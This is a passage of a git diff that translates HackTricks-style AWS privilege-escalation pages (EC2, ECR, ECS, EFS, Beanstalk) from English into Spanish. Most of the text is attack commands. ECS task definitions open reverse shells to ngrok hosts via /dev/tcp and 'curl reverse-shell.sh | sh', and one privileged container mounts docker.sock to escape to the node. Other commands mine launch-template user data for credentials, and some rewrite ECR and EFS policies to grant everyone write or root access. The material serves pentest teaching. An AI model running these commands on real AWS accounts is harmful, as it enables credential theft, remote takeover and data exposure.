tan útil para privesc ya que necesitas conocer un nombre de usuario y una contraseña para explotarlo. -This way isn't that useful to privesc as you need to know a username and password to exploit it. - -**Potential Impact:** (Highly unprovable) Direct privesc to the EC2 IAM roles attached to running instances. +**Impacto Potencial:** (Altamente improbable) Privesc directo a los roles IAM de EC2 adjuntos a las instancias en ejecución. ### `describe-launch-templates`,`describe-launch-template-versions` -Since launch templates have versioning, an attacker with **`ec2:describe-launch-templates`** and **`ec2:describe-launch-template-versions`** permissions could exploit these to discover sensitive information, such as credentials present in user data. To accomplish this, the following script loops through all versions of the available launch templates: - +Dado que las plantillas de lanzamiento tienen versionado, un atacante con permisos de **`ec2:describe-launch-templates`** y **`ec2:describe-launch-template-versions`** podría explotarlos para descubrir información sensible, como credenciales presentes en los datos del usuario. Para lograr esto, el siguiente script recorre todas las versiones de las plantillas de lanzamiento disponibles: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do - echo "[*] Analyzing $i" - aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata - do - echo "VersionNumber: $version" - echo "$userdata" | base64 -d - echo - done | grep -iE "aws_|password|token|api" +echo "[*] Analyzing $i" +aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata +do +echo "VersionNumber: $version" +echo "$userdata" | base64 -d +echo +done | grep -iE "aws_|password|token|api" done ``` +En los comandos anteriores, aunque estamos especificando ciertos patrones (`aws_|password|token|api`), puedes usar una expresión regular diferente para buscar otros tipos de información sensible. -In the above commands, although we're specifying certain patterns (`aws_|password|token|api`), you can use a different regex to search for other types of sensitive information. +Suponiendo que encontramos `aws_access_key_id` y `aws_secret_access_key`, podemos usar estas credenciales para autenticar en AWS. -Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS. +**Impacto Potencial:** Escalación de privilegios directa a usuario(s) de IAM. -**Potential Impact:** Direct privilege escalation to IAM user(s). - -## References +## Referencias - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md index fd4686edb..35352fbf3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md @@ -6,21 +6,21 @@ ### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` -An attacker with the **`ecr:GetAuthorizationToken`** and **`ecr:BatchGetImage`** can login to ECR and download images. +Un atacante con **`ecr:GetAuthorizationToken`** y **`ecr:BatchGetImage`** puede iniciar sesión en ECR y descargar imágenes. -For more info on how to download images: +Para más información sobre cómo descargar imágenes: {{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}} -**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic. +**Impacto Potencial:** Privesc indirecto al interceptar información sensible en el tráfico. ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` -An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used. +Un atacante con todos esos permisos **puede iniciar sesión en ECR y subir imágenes**. Esto puede ser útil para escalar privilegios a otros entornos donde se están utilizando esas imágenes. -To learn how to upload a new image/update one, check: +Para aprender cómo subir una nueva imagen/actualizar una, consulta: {{#ref}} ../aws-services/aws-eks-enum.md @@ -28,85 +28,73 @@ To learn how to upload a new image/update one, check: ### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` -Like the previous section, but for public repositories. +Como la sección anterior, pero para repositorios públicos. ### `ecr:SetRepositoryPolicy` -An attacker with this permission could **change** the **repository** **policy** to grant himself (or even everyone) **read/write access**.\ -For example, in this example read access is given to everyone. - +Un atacante con este permiso podría **cambiar** la **política** del **repositorio** para otorgarse a sí mismo (o incluso a todos) **acceso de lectura/escritura**.\ +Por ejemplo, en este ejemplo se otorga acceso de lectura a todos. ```bash aws ecr set-repository-policy \ - --repository-name \ - --policy-text file://my-policy.json +--repository-name \ +--policy-text file://my-policy.json ``` - -Contents of `my-policy.json`: - +Contenido de `my-policy.json`: ```json { - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "allow public pull", - "Effect": "Allow", - "Principal": "*", - "Action": [ - "ecr:BatchCheckLayerAvailability", - "ecr:BatchGetImage", - "ecr:GetDownloadUrlForLayer" - ] - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "allow public pull", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] } ``` - ### `ecr-public:SetRepositoryPolicy` -Like the previoous section, but for public repositories.\ -An attacker can **modify the repository policy** of an ECR Public repository to grant unauthorized public access or to escalate their privileges. - +Como en la sección anterior, pero para repositorios públicos.\ +Un atacante puede **modificar la política del repositorio** de un repositorio ECR Público para otorgar acceso público no autorizado o para escalar sus privilegios. ```bash bashCopy code# Create a JSON file with the malicious public repository policy echo '{ - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "MaliciousPublicRepoPolicy", - "Effect": "Allow", - "Principal": "*", - "Action": [ - "ecr-public:GetDownloadUrlForLayer", - "ecr-public:BatchGetImage", - "ecr-public:BatchCheckLayerAvailability", - "ecr-public:PutImage", - "ecr-public:InitiateLayerUpload", - "ecr-public:UploadLayerPart", - "ecr-public:CompleteLayerUpload", - "ecr-public:DeleteRepositoryPolicy" - ] - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "MaliciousPublicRepoPolicy", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr-public:GetDownloadUrlForLayer", +"ecr-public:BatchGetImage", +"ecr-public:BatchCheckLayerAvailability", +"ecr-public:PutImage", +"ecr-public:InitiateLayerUpload", +"ecr-public:UploadLayerPart", +"ecr-public:CompleteLayerUpload", +"ecr-public:DeleteRepositoryPolicy" +] +} +] }' > malicious_public_repo_policy.json # Apply the malicious public repository policy to the ECR Public repository aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json ``` - -**Potential Impact**: Unauthorized public access to the ECR Public repository, allowing any user to push, pull, or delete images. +**Impacto Potencial**: Acceso público no autorizado al repositorio ECR Público, permitiendo a cualquier usuario subir, bajar o eliminar imágenes. ### `ecr:PutRegistryPolicy` -An attacker with this permission could **change** the **registry policy** to grant himself, his account (or even everyone) **read/write access**. - +Un atacante con este permiso podría **cambiar** la **política del registro** para otorgarse a sí mismo, a su cuenta (o incluso a todos) **acceso de lectura/escritura**. ```bash aws ecr set-repository-policy \ - --repository-name \ - --policy-text file://my-policy.json +--repository-name \ +--policy-text file://my-policy.json ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 4988270ab..6fa308261 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -4,7 +4,7 @@ ## ECS -More **info about ECS** in: +Más **info sobre ECS** en: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -12,185 +12,173 @@ More **info about ECS** in: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -An attacker abusing the `iam:PassRole`, `ecs:RegisterTaskDefinition` and `ecs:RunTask` permission in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**. - +Un atacante que abuse del permiso `iam:PassRole`, `ecs:RegisterTaskDefinition` y `ecs:RunTask` en ECS puede **generar una nueva definición de tarea** con un **contenedor malicioso** que roba las credenciales de metadatos y **ejecutarlo**. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --requires-compatibilities "[\"FARGATE\"]" \ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" # Run task definition aws ecs run-task --task-definition iam_exfiltration \ - --cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ - --launch-type FARGATE \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" +--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" # Delete task definition ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` - -**Potential Impact:** Direct privesc to a different ECS role. +**Impacto Potencial:** Privesc directo a un rol de ECS diferente. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.\ -However, in this case, a container instance to run the malicious task definition need to be. - +Al igual que en el ejemplo anterior, un atacante que abuse de los permisos **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** en ECS puede **generar una nueva definición de tarea** con un **contenedor malicioso** que roba las credenciales de metadatos y **ejecutarlo**.\ +Sin embargo, en este caso, se necesita una instancia de contenedor para ejecutar la definición de tarea maliciosa. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" aws ecs start-task --task-definition iam_exfiltration \ - --container-instances +--container-instances # Delete task definition ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` - -**Potential Impact:** Direct privesc to any ECS role. +**Impacto Potencial:** Privesc directo a cualquier rol de ECS. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** or **`ecs:CreateService`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it by creating a new service with at least 1 task running.** - +Al igual que en el ejemplo anterior, un atacante que abuse de los permisos **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** o **`ecs:CreateService`** en ECS puede **generar una nueva definición de tarea** con un **contenedor malicioso** que roba las credenciales de metadatos y **ejecutarlo creando un nuevo servicio con al menos 1 tarea en ejecución.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn "$ECS_ROLE_ARN" \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --requires-compatibilities "[\"FARGATE\"]" \ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" +--task-role-arn "$ECS_ROLE_ARN" \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" # Run the task creating a service aws ecs create-service --service-name exfiltration \ - --task-definition iam_exfiltration \ - --desired-count 1 \ - --cluster "$CLUSTER_ARN" \ - --launch-type FARGATE \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" +--task-definition iam_exfiltration \ +--desired-count 1 \ +--cluster "$CLUSTER_ARN" \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" # Run the task updating a service aws ecs update-service --cluster \ - --service \ - --task-definition +--service \ +--task-definition ``` - -**Potential Impact:** Direct privesc to any ECS role. +**Impacto Potencial:** Privesc directo a cualquier rol de ECS. ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -Actually, just with those permissions it's possible to use overrides to executer arbitrary commands in a container with an arbitrary role with something like: - +De hecho, solo con esos permisos es posible usar sobrescrituras para ejecutar comandos arbitrarios en un contenedor con un rol arbitrario con algo como: ```bash aws ecs run-task \ - --task-definition "" \ - --overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ - --cluster \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" +--task-definition "" \ +--overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ +--cluster \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` - -**Potential Impact:** Direct privesc to any ECS role. +**Impacto Potencial:** Privesc directo a cualquier rol de ECS. ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -This scenario is like the previous ones but **without** the **`iam:PassRole`** permission.\ -This is still interesting because if you can run an arbitrary container, even if it's without a role, you could **run a privileged container to escape** to the node and **steal the EC2 IAM role** and the **other ECS containers roles** running in the node.\ -You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-privesc.md#privesc-to-node)). +Este escenario es como los anteriores pero **sin** el permiso **`iam:PassRole`**.\ +Esto sigue siendo interesante porque si puedes ejecutar un contenedor arbitrario, incluso si es sin un rol, podrías **ejecutar un contenedor privilegiado para escapar** al nodo y **robar el rol IAM de EC2** y los **otros roles de contenedores ECS** que se ejecutan en el nodo.\ +Incluso podrías **forzar a otras tareas a ejecutarse dentro de la instancia EC2** que comprometes para robar sus credenciales (como se discutió en la [**sección Privesc a nodo**](aws-ecs-privesc.md#privesc-to-node)). > [!WARNING] -> This attack is only possible if the **ECS cluster is using EC2** instances and not Fargate. - +> Este ataque solo es posible si el **clúster de ECS está utilizando instancias de EC2** y no Fargate. ```bash printf '[ - { - "name":"exfil_creds", - "image":"python:latest", - "entryPoint":["sh", "-c"], - "command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], - "mountPoints": [ - { - "readOnly": false, - "containerPath": "/var/run/docker.sock", - "sourceVolume": "docker-socket" - } - ] - } +{ +"name":"exfil_creds", +"image":"python:latest", +"entryPoint":["sh", "-c"], +"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], +"mountPoints": [ +{ +"readOnly": false, +"containerPath": "/var/run/docker.sock", +"sourceVolume": "docker-socket" +} +] +} ]' > /tmp/task.json printf '[ - { - "name": "docker-socket", - "host": { - "sourcePath": "/var/run/docker.sock" - } - } +{ +"name": "docker-socket", +"host": { +"sourcePath": "/var/run/docker.sock" +} +} ]' > /tmp/volumes.json aws ecs register-task-definition --family iam_exfiltration \ - --cpu 256 --memory 512 \ - --requires-compatibilities '["EC2"]' \ - --container-definitions file:///tmp/task.json \ - --volumes file:///tmp/volumes.json +--cpu 256 --memory 512 \ +--requires-compatibilities '["EC2"]' \ +--container-definitions file:///tmp/task.json \ +--volumes file:///tmp/volumes.json aws ecs run-task --task-definition iam_exfiltration \ - --cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ - --launch-type EC2 +--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ +--launch-type EC2 # You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell ``` - ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -An attacker with the **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** can **execute commands** inside a running container and exfiltrate the IAM role attached to it (you need the describe permissions because it's necessary to run `aws ecs execute-command`).\ -However, in order to do that, the container instance need to be running the **ExecuteCommand agent** (which by default isn't). +Un atacante con el **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** puede **ejecutar comandos** dentro de un contenedor en ejecución y exfiltrar el rol de IAM adjunto a él (necesitas los permisos de descripción porque es necesario ejecutar `aws ecs execute-command`).\ +Sin embargo, para hacer eso, la instancia del contenedor necesita estar ejecutando el **agente ExecuteCommand** (que por defecto no lo está). -Therefore, the attacker cloud try to: - -- **Try to run a command** in every running container +Por lo tanto, el atacante podría intentar: +- **Intentar ejecutar un comando** en cada contenedor en ejecución ```bash # List enableExecuteCommand on each task for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do - echo "Cluster $cluster" - for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do - echo " Task $task" - # If true, it's your lucky day - aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand - done +echo "Cluster $cluster" +for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do +echo " Task $task" +# If true, it's your lucky day +aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand +done done # Execute a shell in a container aws ecs execute-command --interactive \ - --command "sh" \ - --cluster "$CLUSTER_ARN" \ - --task "$TASK_ARN" +--command "sh" \ +--cluster "$CLUSTER_ARN" \ +--task "$TASK_ARN" ``` +- Si tiene **`ecs:RunTask`**, ejecute una tarea con `aws ecs run-task --enable-execute-command [...]` +- Si tiene **`ecs:StartTask`**, ejecute una tarea con `aws ecs start-task --enable-execute-command [...]` +- Si tiene **`ecs:CreateService`**, cree un servicio con `aws ecs create-service --enable-execute-command [...]` +- Si tiene **`ecs:UpdateService`**, actualice un servicio con `aws ecs update-service --enable-execute-command [...]` -- If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]` -- If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]` -- If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]` -- If he has **`ecs:UpdateService`**, update a service with `aws ecs update-service --enable-execute-command [...]` +Puede encontrar **ejemplos de esas opciones** en **secciones anteriores de privesc de ECS**. -You can find **examples of those options** in **previous ECS privesc sections**. - -**Potential Impact:** Privesc to a different role attached to containers. +**Impacto Potencial:** Privesc a un rol diferente adjunto a contenedores. ### `ssm:StartSession` -Check in the **ssm privesc page** how you can abuse this permission to **privesc to ECS**: +Verifique en la **página de privesc de ssm** cómo puede abusar de este permiso para **privesc a ECS**: {{#ref}} aws-ssm-privesc.md @@ -198,7 +186,7 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -Check in the **ec2 privesc page** how you can abuse these permissions to **privesc to ECS**: +Verifique en la **página de privesc de ec2** cómo puede abusar de estos permisos para **privesc a ECS**: {{#ref}} aws-ec2-privesc.md @@ -206,30 +194,29 @@ aws-ec2-privesc.md ### `?ecs:RegisterContainerInstance` -TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker?? +TODO: ¿Es posible registrar una instancia de una cuenta de AWS diferente para que las tareas se ejecuten en máquinas controladas por el atacante? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] -> TODO: Test this - -An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. This allows the attacker to **execute arbitrary code within the service**. +> TODO: Probar esto +Un atacante con los permisos `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` y `ecs:DescribeTaskSets` puede **crear un conjunto de tareas malicioso para un servicio ECS existente y actualizar el conjunto de tareas principal**. Esto permite al atacante **ejecutar código arbitrario dentro del servicio**. ```bash bashCopy code# Register a task definition with a reverse shell echo '{ - "family": "malicious-task", - "containerDefinitions": [ - { - "name": "malicious-container", - "image": "alpine", - "command": [ - "sh", - "-c", - "apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" - ] - } - ] +"family": "malicious-task", +"containerDefinitions": [ +{ +"name": "malicious-container", +"image": "alpine", +"command": [ +"sh", +"-c", +"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" +] +} +] }' > malicious-task-definition.json aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json @@ -240,15 +227,10 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` +**Impacto Potencial**: Ejecutar código arbitrario en el servicio afectado, lo que podría afectar su funcionalidad o exfiltrar datos sensibles. -**Potential Impact**: Execute arbitrary code in the affected service, potentially impacting its functionality or exfiltrating sensitive data. - -## References +## Referencias - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md index 8a54b28d8..a0d215ff7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md @@ -4,97 +4,83 @@ ## EFS -More **info about EFS** in: +Más **info sobre EFS** en: {{#ref}} ../aws-services/aws-efs-enum.md {{#endref}} -Remember that in order to mount an EFS you need to be in a subnetwork where the EFS is exposed and have access to it (security groups). Is this is happening, by default, you will always be able to mount it, however, if it's protected by IAM policies you need to have the extra permissions mentioned here to access it. +Recuerda que para montar un EFS necesitas estar en una subred donde el EFS esté expuesto y tener acceso a él (grupos de seguridad). Si esto está sucediendo, por defecto, siempre podrás montarlo, sin embargo, si está protegido por políticas de IAM, necesitas tener los permisos adicionales mencionados aquí para acceder a él. ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` -With any of those permissions an attacker can **change the file system policy** to **give you access** to it, or to just **delete it** so the **default access** is granted. - -To delete the policy: +Con cualquiera de esos permisos, un atacante puede **cambiar la política del sistema de archivos** para **darte acceso** a él, o simplemente **eliminarlo** para que se otorgue el **acceso por defecto**. +Para eliminar la política: ```bash aws efs delete-file-system-policy \ - --file-system-id +--file-system-id ``` - -To change it: - +Para cambiarlo: ```json aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json // Give everyone trying to mount it read, write and root access // policy.json: { - "Version": "2012-10-17", - "Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", - "Statement": [ - { - "Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "elasticfilesystem:ClientRootAccess", - "elasticfilesystem:ClientWrite", - "elasticfilesystem:ClientMount" - ], - "Condition": { - "Bool": { - "elasticfilesystem:AccessedViaMountTarget": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", +"Statement": [ +{ +"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"elasticfilesystem:ClientRootAccess", +"elasticfilesystem:ClientWrite", +"elasticfilesystem:ClientMount" +], +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] } ``` - ### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` -With this permission an attacker will be able to **mount the EFS**. If the write permission is not given by default to everyone that can mount the EFS, he will have only **read access**. - +Con este permiso, un atacante podrá **montar el EFS**. Si el permiso de escritura no se otorga por defecto a todos los que pueden montar el EFS, solo tendrá **acceso de lectura**. ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ ``` +Los permisos adicionales `elasticfilesystem:ClientRootAccess` y `elasticfilesystem:ClientWrite` se pueden usar para **escribir** dentro del sistema de archivos después de que esté montado y para **acceder** a ese sistema de archivos **como root**. -The extra permissions`elasticfilesystem:ClientRootAccess` and `elasticfilesystem:ClientWrite` can be used to **write** inside the filesystem after it's mounted and to **access** that file system **as root**. - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**Impacto Potencial:** Privesc indirecto al localizar información sensible en el sistema de archivos. ### `elasticfilesystem:CreateMountTarget` -If you an attacker is inside a **subnetwork** where **no mount target** of the EFS exists. He could just **create one in his subnet** with this privilege: - +Si un atacante está dentro de una **subred** donde **no existe un objetivo de montaje** del EFS. Podría simplemente **crear uno en su subred** con este privilegio: ```bash # You need to indicate security groups that will grant the user access to port 2049 aws efs create-mount-target --file-system-id \ - --subnet-id \ - --security-groups +--subnet-id \ +--security-groups ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**Impacto Potencial:** Privesc indirecto al localizar información sensible en el sistema de archivos. ### `elasticfilesystem:ModifyMountTargetSecurityGroups` -In a scenario where an attacker finds that the EFS has mount target in his subnetwork but **no security group is allowing the traffic**, he could just **change that modifying the selected security groups**: - +En un escenario donde un atacante descubre que el EFS tiene un objetivo de montaje en su subred pero **ningún grupo de seguridad permite el tráfico**, podría simplemente **cambiar eso modificando los grupos de seguridad seleccionados**: ```bash aws efs modify-mount-target-security-groups \ - --mount-target-id \ - --security-groups +--mount-target-id \ +--security-groups ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**Impacto Potencial:** Privesc indirecto al localizar información sensible en el sistema de archivos. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md index 613dd3a47..2dfd4ca2b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md @@ -4,19 +4,18 @@ ## Elastic Beanstalk -More **info about Elastic Beanstalk** in: +Más **info sobre Elastic Beanstalk** en: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} > [!WARNING] -> In order to perform sensitive actions in Beanstalk you will need to have a **lot of sensitive permissions in a lot of different services**. You can check for example the permissions given to **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** +> Para realizar acciones sensibles en Beanstalk necesitarás tener **muchos permisos sensibles en muchos servicios diferentes**. Puedes verificar, por ejemplo, los permisos otorgados a **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** -### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others - -With **write permissions over the S3 bucket** containing the **code** of the environment and permissions to **rebuild** the application (it's needed 